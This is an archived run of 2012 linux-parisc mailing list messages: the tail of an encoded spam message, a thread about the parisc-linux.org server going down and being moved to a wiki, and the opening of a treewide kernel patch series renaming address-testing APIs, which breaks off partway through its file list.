muS5sOWutuaMieS6p+WTgeexu+WIq+WIhuexu++8jOWIhuS4uuS7peS4i+WHoOexu++8mg0KMSDl
ip7lhazorr7lpIcNCjIg57yW57uH5Y+K6Jek6ZOB5bel6Im65ZOBDQozIOeOu+eSgw0KNCDppJDl
jqjnlKjlhbcNCjUg6L2m6L6GDQo2IOWkp+Wei+acuuaisOWPiuiuvuWkhw0KNyDnlLXlrZDnlLXm
sJQNCjgg55S15a2Q5raI6LS55ZOBDQo5IOe6uue7hw0KMTAg5pyN6KOFDQoxMSDkuKrkurrmiqTn
kIYNCjEyIOW3peeoi+acuuaisA0KMTMg5bel5YW3DQoxNCDljJblt6UNCjE1IOiuoeeul+acuuWP
iumAmuiurw0KMTYg5a625bGF55So5ZOBDQoxNyDlrrblsYXoo4XppbANCjE4IOWutuWFtw0KMTkg
5a6255So55S15ZmoDQoyMCDlu7rnrZHlj4roo4XppbDmnZDmlpkNCjIxIOiKguaXpeeUqOWTgQ0K
MjIg56S85ZOB5Y+K6LWg5ZOBDQoyMyDmkanmiZjovaYNCjI0IOaxvei9pumFjeS7tg0KMjUg6aOf
5ZOBDQoyNiDpmbbnk7cNCjI3IOmTgeefsw0KMjgg546p5YW3DQoyOSDljavmtbQNCjMwIOS6lOmH
kQ0KMzEg5bCP5Z6L5py65qKwDQozMiDpnosNCjMzIOS8kemXsueUqOWTgQ0KMzQg5Yy755aXDQoz
NSDmtbTlrqTkuqflk4ENCjM2IOWbreaelw0KMzcg54Wn5piO5Lqn5ZOBDQozOCDpkp/ooajnnLzp
lZwNCjM5IOiHquihjOi9pg0KNDAg5YyFDQoNCg0K5paw6bKc5pWw5o2uLeaIkOWNleeOh+aegemr
mA0K5paw6bKc5pWw5o2uLeaIkOWNleeOh+aegemrmA0K5paw6bKc5pWw5o2uLeaIkOWNleeOh+ae
gemrmA0K5paw6bKc5pWw5o2uLeaIkOWNleeOh+aegemrmA0K5paw6bKc5pWw5o2uLeaIkOWNleeO
h+aegemrmA0K


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org down?
Date: Wed, 17 Oct 2012 15:48:15 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <20121017214815.GA26647@dannf.org>
References: <CAE2sS1g_e6gh-gZhmtA+vjhmEv2cttkoPkpsWSxNhN7RAhT-ww@mail.gmail.com>
 <20121011005538.GD13426@dannf.org>
 <CAE2sS1hazzdG94i+Rz0PmF9MmzF62K1vW3knSUUe3PMgRVzhtA@mail.gmail.com>
 <201210102332.08292.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1350510502 10309 80.91.229.3 (17 Oct 2012 21:48:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 17 Oct 2012 21:48:22 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 17 23:48:29 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TObTY-00014k-8l
	for glpp-linux-parisc@plane.gmane.org; Wed, 17 Oct 2012 23:48:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751371Ab2JQVsV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Oct 2012 17:48:21 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:57496 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751360Ab2JQVsU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Oct 2012 17:48:20 -0400
Original-Received: from localhost (c-76-120-123-66.hsd1.co.comcast.net [76.120.123.66])
	(using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(Client did not present a certificate)
	by complete.lackof.org (Postfix) with ESMTPSA id 16E1B33E005E;
	Wed, 17 Oct 2012 15:48:17 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <201210102332.08292.vapier@gentoo.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.5 at complete.lackof.org
X-Virus-Status: Clean
X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY
	autolearn=unavailable version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on complete.lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4638
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4638>

On Wed, Oct 10, 2012 at 11:32:07PM -0400, Mike Frysinger wrote:
> On Wednesday 10 October 2012 21:04:35 Carlos O'Donell wrote:
> > On Wed, Oct 10, 2012 at 8:55 PM, dann frazier <dannf@dannf.org> wrote:
> > >> So it looks like the box is down, Dave, and Mike confirm.
> > >> 
> > >> Does anyone know how we manage this box?
> > > 
> > > Yes, it appears to be down. Noone is really managing the box - the
> > > consensus was to move it to a VM somewhere, but noone volunteered to
> > > do so. I'll ask someone at hp to power cycle it to see if that brings
> > > it back.
> > 
> > Thanks for reminding me of the current situation.
> > 
> > I'll see what I can do about hosting www.parisc-linux.org, and perhaps
> > changing the site design to be something as simple as a wiki on an EC2
> > instance.
> 
> how big is the site ?  we host some of our medium-sized open source projects 
> on VMs provided by OSUOSL.  maybe worth contacting since the price is right ? 
> (i.e. free ;])
> 
> although i really appreciate having sites be hosted by the things they espouse 
> (hppa in this case), but i can see that geek factor being less important than 
> an available site.

fyi, parisc-linux.org is back after a power cycle - so data should be
available if someone wants to look at the OSUOSL-like options :)


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org down?
Date: Thu, 18 Oct 2012 15:21:50 -0400
Organization: wh0rd.org
Lines: 71
Approved: news@gmane.org
Message-ID: <201210181521.51953.vapier@gentoo.org>
References: <CAE2sS1g_e6gh-gZhmtA+vjhmEv2cttkoPkpsWSxNhN7RAhT-ww@mail.gmail.com> <201210102332.08292.vapier@gentoo.org> <20121017214815.GA26647@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2190983.fcdGqE8fz6";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1350588113 31035 80.91.229.3 (18 Oct 2012 19:21:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Oct 2012 19:21:53 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>
To: dann frazier <dannf@dannf.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 18 21:22:00 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TOvfL-000641-Ik
	for glpp-linux-parisc@plane.gmane.org; Thu, 18 Oct 2012 21:21:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752155Ab2JRTVw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Oct 2012 15:21:52 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:51606 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751763Ab2JRTVv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Oct 2012 15:21:51 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 54F4033D855;
	Thu, 18 Oct 2012 19:21:51 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.5.2; KDE/4.6.5; x86_64; ; )
In-Reply-To: <20121017214815.GA26647@dannf.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4639
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4639>

--nextPart2190983.fcdGqE8fz6
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Wednesday 17 October 2012 17:48:15 dann frazier wrote:
> On Wed, Oct 10, 2012 at 11:32:07PM -0400, Mike Frysinger wrote:
> > On Wednesday 10 October 2012 21:04:35 Carlos O'Donell wrote:
> > > On Wed, Oct 10, 2012 at 8:55 PM, dann frazier wrote:
> > > >> So it looks like the box is down, Dave, and Mike confirm.
> > > >>=20
> > > >> Does anyone know how we manage this box?
> > > >=20
> > > > Yes, it appears to be down. Noone is really managing the box - the
> > > > consensus was to move it to a VM somewhere, but noone volunteered to
> > > > do so. I'll ask someone at hp to power cycle it to see if that brin=
gs
> > > > it back.
> > >=20
> > > Thanks for reminding me of the current situation.
> > >=20
> > > I'll see what I can do about hosting www.parisc-linux.org, and perhaps
> > > changing the site design to be something as simple as a wiki on an EC2
> > > instance.
> >=20
> > how big is the site ?  we host some of our medium-sized open source
> > projects on VMs provided by OSUOSL.  maybe worth contacting since the
> > price is right ? (i.e. free ;])
> >=20
> > although i really appreciate having sites be hosted by the things they
> > espouse (hppa in this case), but i can see that geek factor being less
> > important than an available site.
>=20
> fyi, parisc-linux.org is back after a power cycle - so data should be
> available if someone wants to look at the OSUOSL-like options :)

what resources does parisc-linux.org provide nowadays ?  seems like mailing=
=20
lists and git have moved to kernel.org.  that leaves web site and wiki ?  a=
nd=20
it might be advantageous to merge those into a single wiki ?
=2Dmike

--nextPart2190983.fcdGqE8fz6
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJQgFbPAAoJEEFjO5/oN/WB/RgQALgDpG3K0KKQCEroOAXMVlym
4SR5DNAapHD6yOO6Kl19BB+cWOqH2cXmGW6oIjisIXXmO02rR8ru1jizG8rnuB/0
T2GG2e0p2/PzCnNNIe4IN3nox/AcQPdcC/q1sB2ZIkbQic9rL5IrpJrrH8CslmeC
6kW4isuIA6M+xr0r+2Rr9Tu1idS4hfL9Dejhsi66ppYbkmZv768npYQlsYzBuZ2Z
qr+c/1fAOHRq8pDN0lizsYEHNTc4jgunfZB8CG0yZe5/DFDNChympkc6hKD8Uxxr
UmTEa0BObK9DyIB3c9IMKoVwSIgVqVrOL9S6aDt2+UsZb0NUOJE4QyunL1PMiWkN
mjEBwGFVVKnualLCDmQ4FsjOLSMKKBM6FrMb0HTDd95NgkkgItob2swcBKJnpaz1
fTEG66DxGvAYjX9zRIZ3zN9Q99/qUOLIGIvDbIMrtvX87gYJJ0Yu3qQvpicwwKXP
5u/K3zsUiCy5G5p/IpkxOn4VRz03yEi3Nik2XcWK8a2wWld4CD2s4vvuxG+i/2VZ
mKOwAwNIyRDgnbmo945xVPF94aIyLMZZV2FJEoSzMN+RpeiF12o89oc5GgGmUoNe
uw6VL/C2u98FtCrdz89Zwh//jtut2U2NK+zD0Ryrlkivw6Ox8EUtB0yDYAxLX207
/xxeHIWiTOj2KOTr/XP/
=Mxvk
-----END PGP SIGNATURE-----

--nextPart2190983.fcdGqE8fz6--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org down?
Date: Thu, 18 Oct 2012 15:36:19 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <50805A33.9040902@systemhalted.org>
References: <CAE2sS1g_e6gh-gZhmtA+vjhmEv2cttkoPkpsWSxNhN7RAhT-ww@mail.gmail.com> <201210102332.08292.vapier@gentoo.org> <20121017214815.GA26647@dannf.org> <201210181521.51953.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1350588986 6360 80.91.229.3 (18 Oct 2012 19:36:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Oct 2012 19:36:26 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 18 21:36:34 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TOvtP-00076h-AY
	for glpp-linux-parisc@plane.gmane.org; Thu, 18 Oct 2012 21:36:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753268Ab2JRTgX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Oct 2012 15:36:23 -0400
Original-Received: from mail-pb0-f46.google.com ([209.85.160.46]:39382 "EHLO
	mail-pb0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752533Ab2JRTgW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Oct 2012 15:36:22 -0400
Original-Received: by mail-pb0-f46.google.com with SMTP id rr4so8645859pbb.19
        for <linux-parisc@vger.kernel.org>; Thu, 18 Oct 2012 12:36:22 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:x-enigmail-version:content-type
         :content-transfer-encoding:x-gm-message-state;
        bh=5JLg/E/ZqqStcCQGl2YejeuuGK56wR5JRrFAxGmKVgM=;
        b=RqcqNU2fMQb/KmYCaKCVq1aYCZWZTQK0Oc6MAbbb72RHukkNf6f8mbeOWczz8veiQl
         cjZ10XPAWIV1pc1P4GGBn/oXoi6It1IqbdiDHUvGfZqv1iN0C3HTnnm099bIkukwIOdT
         yHtvDmYxTPLNd+bTgrOxhVb5Pk+oxwhbG7tc+b8BcMzrjEnEo5tz1NqYmQJ0yEXyxJsi
         uS+hsufLNwi+KIg4Vkm5smlLlCEJHCzNRWyba9yC2XbirrH9iJbCf68Ch4UxF/1pVmoj
         6UZeRqGffOGm2pIUSi2l7G+/Yl0IWt9J2zhDM3dI477ZfbXMsPztpvji8t+GYRD3Figo
         dZpg==
Original-Received: by 10.68.235.106 with SMTP id ul10mr70002045pbc.83.1350588982092;
        Thu, 18 Oct 2012 12:36:22 -0700 (PDT)
Original-Received: from [192.168.2.18] (bas3-ottawa23-1128747836.dsl.bell.ca. [67.71.83.60])
        by mx.google.com with ESMTPS id bp7sm14805388pab.33.2012.10.18.12.36.20
        (version=SSLv3 cipher=OTHER);
        Thu, 18 Oct 2012 12:36:21 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20121010 Thunderbird/16.0.1
In-Reply-To: <201210181521.51953.vapier@gentoo.org>
X-Enigmail-Version: 1.4.5
X-Gm-Message-State: ALoCoQkIIfBMJzzsf/Oa6mS5EjEuzXrqeSUYEvCrjdq6xB0TTnIifgiGjtsnHw3vaLuULB+ItZin
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4640
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4640>

On 10/18/2012 3:21 PM, Mike Frysinger wrote:
> On Wednesday 17 October 2012 17:48:15 dann frazier wrote:
>> On Wed, Oct 10, 2012 at 11:32:07PM -0400, Mike Frysinger wrote:
>>> On Wednesday 10 October 2012 21:04:35 Carlos O'Donell wrote:
>>>> On Wed, Oct 10, 2012 at 8:55 PM, dann frazier wrote:
>>>>>> So it looks like the box is down, Dave, and Mike confirm.
>>>>>>
>>>>>> Does anyone know how we manage this box?
>>>>>
>>>>> Yes, it appears to be down. Noone is really managing the box - the
>>>>> consensus was to move it to a VM somewhere, but noone volunteered to
>>>>> do so. I'll ask someone at hp to power cycle it to see if that brings
>>>>> it back.
>>>>
>>>> Thanks for reminding me of the current situation.
>>>>
>>>> I'll see what I can do about hosting www.parisc-linux.org, and perhaps
>>>> changing the site design to be something as simple as a wiki on an EC2
>>>> instance.
>>>
>>> how big is the site ?  we host some of our medium-sized open source
>>> projects on VMs provided by OSUOSL.  maybe worth contacting since the
>>> price is right ? (i.e. free ;])
>>>
>>> although i really appreciate having sites be hosted by the things they
>>> espouse (hppa in this case), but i can see that geek factor being less
>>> important than an available site.
>>
>> fyi, parisc-linux.org is back after a power cycle - so data should be
>> available if someone wants to look at the OSUOSL-like options :)
> 
> what resources does parisc-linux.org provide nowadays ?  seems like mailing 
> lists and git have moved to kernel.org.  that leaves web site and wiki ?  and 
> it might be advantageous to merge those into a single wiki ?
> -mike
> 

Static files, and cvs.

The cvs can go, everything is done upstream, and some minor tools like the
cool disasm tool can be made available on the wiki as it's just a small program.

The static files, like manuals and things we should keep as links in the wiki.

I would be very happy with a single moinmoin wiki.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe-6d6DIl74uiNBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.network.openvswitch.devel,gmane.linux.davinci,gmane.linux.ports.arm.kernel,gmane.linux.drivers.rdma,gmane.linux.network,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.ppc64.devel,gmane.linux.drivers.e1000.devel,gmane.linux.usb.general,gmane.linux.kernel.wimax,gmane.linux.kernel.wireless.general,gmane.linux.drivers.ath9k.devel,gmane.linux.drivers.bcm54xx.devel,gmane.linux.drivers.rt2x00.user,gmane.linux.drivers.devicetree,gmane.linux.ports.parisc,gmane.linux.scsi,gmane.linux.scsi.open-fcoe.devel,gmane.linux.nfs,gmane.org.freifunk.batman,gmane.comp.security.firewalls.netfilter.devel,gmane.comp.security.firewalls.netfilter.general,gmane.comp.linux.lvs.devel,gmane.linux.ports.mips.general,gmane.linux.uml.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.uml.user
Subject: [PATCH net-next 00/21] treewide: Use consistent api style
	for address testing
Date: Thu, 18 Oct 2012 20:55:31 -0700
Lines: 376
Approved: news@gmane.org
Message-ID: <cover.1350618006.git.joe@perches.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1350619136 7633 80.91.229.3 (19 Oct 2012 03:58:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Oct 2012 03:58:56 +0000 (UTC)
Cc: devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-doc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, brcm80211-dev-list-dY08KVG/lbpWk0Htik3J/w@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, user-mode-linux-user-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org
To: davinci-linux-open-source-VycZQUHpC/PFrsHnngEfi1aTQe2KTcn/@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, e1000-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	cbe-oss-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	wimax-BPSAo7wm5JOHVYUYWc+uSQ@public.gmane.org, linux-wireless-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	ath9k-devel-xDcbHBWguxHbcTqmT+pZeQ@public.gmane.org, b43-dev-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	users-poMEt7QlJxcwIE2E9O76wjtx2kNaKg5H@public.gmane.org, devicetree-discuss-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-scsi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, devel-s9riP+hp16TNLxjTenLetw@public.gmane.org, linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sctp-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, b.a.t.m.a.n-ZwoEplunGu2X36UT3dwllkB+6BGkLq7r@public.gmane.org,
	bridge-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, netfilter-devel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	netfilter-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, coreteam-Cap9r6Oaw4JrovVCs/uTlw@public.gmane.org,
	lvs-devel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, dev-yBygre7rU0TnMu66kgdUjQ@public.gmane.org
Original-X-From: dev-bounces-yBygre7rU0TnMu66kgdUjQ@public.gmane.org Fri Oct 19 05:58:57 2012
Return-path: <dev-bounces-yBygre7rU0TnMu66kgdUjQ@public.gmane.org>
Envelope-to: gnod2-dev@m.gmane.org
Original-Received: from li205-44.members.linode.com ([173.255.195.44] helo=archives.nicira.com)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <dev-bounces-yBygre7rU0TnMu66kgdUjQ@public.gmane.org>)
	id 1TP3jb-0007Jw-4U
	for gnod2-dev@m.gmane.org; Fri, 19 Oct 2012 05:58:55 +0200
Original-Received: from li205-44.members.linode.com (localhost [127.0.0.1])
	by archives.nicira.com (Postfix) with ESMTP id A038C16562;
	Thu, 18 Oct 2012 20:58:46 -0700 (PDT)
X-Original-To: dev-yBygre7rU0TnMu66kgdUjQ@public.gmane.org
Delivered-To: dev-yBygre7rU0TnMu66kgdUjQ@public.gmane.org
Original-Received: from labridge.com (perches-mx.perches.com [206.117.179.246])
	by archives.nicira.com (Postfix) with ESMTPS id 2319916524
	for <dev-yBygre7rU0TnMu66kgdUjQ@public.gmane.org>; Thu, 18 Oct 2012 20:58:45 -0700 (PDT)
Original-Received: from [173.51.221.202] (account joe-6d6DIl74uiNBDgjK7y7TUQ@public.gmane.org HELO
	joe-laptop.perches.com) by labridge.com (CommuniGate Pro SMTP 5.0.14)
	with ESMTPA id 19746948; Thu, 18 Oct 2012 20:58:43 -0700
X-Mailer: git-send-email 1.7.8.111.gad25c.dirty
X-BeenThere: dev-yBygre7rU0TnMu66kgdUjQ@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <dev.openvswitch.org>
List-Unsubscribe: <http://openvswitch.org/mailman/options/dev>,
	<mailto:dev-request-yBygre7rU0TnMu66kgdUjQ@public.gmane.org?subject=unsubscribe>
List-Archive: <http://openvswitch.org/pipermail/dev>
List-Post: <mailto:dev-yBygre7rU0TnMu66kgdUjQ@public.gmane.org>
List-Help: <mailto:dev-request-yBygre7rU0TnMu66kgdUjQ@public.gmane.org?subject=help>
List-Subscribe: <http://openvswitch.org/mailman/listinfo/dev>,
	<mailto:dev-request-yBygre7rU0TnMu66kgdUjQ@public.gmane.org?subject=subscribe>
Original-Sender: dev-bounces-yBygre7rU0TnMu66kgdUjQ@public.gmane.org
Errors-To: dev-bounces-yBygre7rU0TnMu66kgdUjQ@public.gmane.org
Xref: news.gmane.org gmane.network.openvswitch.devel:15333 gmane.linux.davinci:25393 gmane.linux.ports.arm.kernel:194386 gmane.linux.drivers.rdma:13685 gmane.linux.network:246285 gmane.linux.hardware.blackfin.kernel.devel:6705 gmane.linux.ports.ppc64.devel:85838 gmane.linux.drivers.e1000.devel:10780 gmane.linux.usb.general:73051 gmane.linux.kernel.wimax:1905 gmane.linux.kernel.wireless.general:98586 gmane.linux.drivers.ath9k.devel:9803 gmane.linux.drivers.bcm54xx.devel:13545 gmane.linux.drivers.rt2x00.user:1262 gmane.linux.drivers.devicetree:22932 gmane.linux.ports.parisc:4641 gmane.linux.scsi:78291 gmane.linux.scsi.open-fcoe.devel:11912 gmane.linux.nfs:52741 gmane.org.freifunk.batman:8222 gmane.comp.security.firewalls.netfilter.devel:44657 gmane.comp.security.firewalls.netfilter.general:45127 gmane.comp.linux.lvs.devel:2767 gmane.linux.ports.mips.general:35830 gmane.linux.uml.devel:13708 gmane.linux.documentation:7268 gmane.linux.kernel:1378299 gmane.linux.uml.user:14302
Archived-At: <http://permalink.gmane.org/gmane.network.openvswitch.devel/15333>

ethernet, ipv4, and ipv6 address testing uses 3 different api naming styles.

ethernet uses:	is_<foo>_ether_addr
ipv4 uses:	ipv4_is_<foo>
ipv6 uses:	ipv6_addr_<foo>

Standardize on the ipv6 style of <prefix>_addr_<type> to reduce
the number of styles to remember.

The new consistent styles are:

eth_addr_<foo>(const u8 *)
ipv4_addr_<foo>(__be32)
ipv6_addr_<foo>(const struct in6_addr *)

Add temporary backward compatibility #defines for the old names too.

Joe Perches (21):
  etherdevice: Rename is_<foo>_ether_addr tests to eth_addr_<foo>
  net: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
  arch: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
  wireless: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
  drivers: net: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
  staging: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
  infiniband: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
  scsi: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
  of: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
  s390: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
  usb: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
  uwb: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
  Documentation: networking: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
  llc_if.h: Convert is_<foo>_ether_addr uses to eth_addr_<foo>
  in.h: Rename ipv4_is_<foo> functions to ipv4_addr_<foo>
  net: Convert ipv4_is_<foo> uses to ipv4_addr_<foo>
  infiniband: Convert ipv4_is_<foo> uses to ipv4_addr_<foo>
  ath6kl: Convert ipv4_is_<foo> uses to ipv4_addr_<foo>
  parisc: Convert ipv4_is_<foo> uses to ipv4_addr_<foo>
  lockd: Convert ipv4_is_<foo> uses to ipv4_addr_<foo>
  sctp: Convert ipv4_is_<foo> uses to ipv4_addr_<foo>

 Documentation/networking/driver.txt                |    2 +-
 arch/arm/mach-davinci/board-mityomapl138.c         |    2 +-
 arch/arm/mach-pxa/colibri-pxa3xx.c                 |    2 +-
 arch/avr32/boards/atngw100/setup.c                 |    2 +-
 arch/avr32/boards/atstk1000/atstk1002.c            |    2 +-
 arch/avr32/boards/favr-32/setup.c                  |    2 +-
 arch/avr32/boards/hammerhead/setup.c               |    2 +-
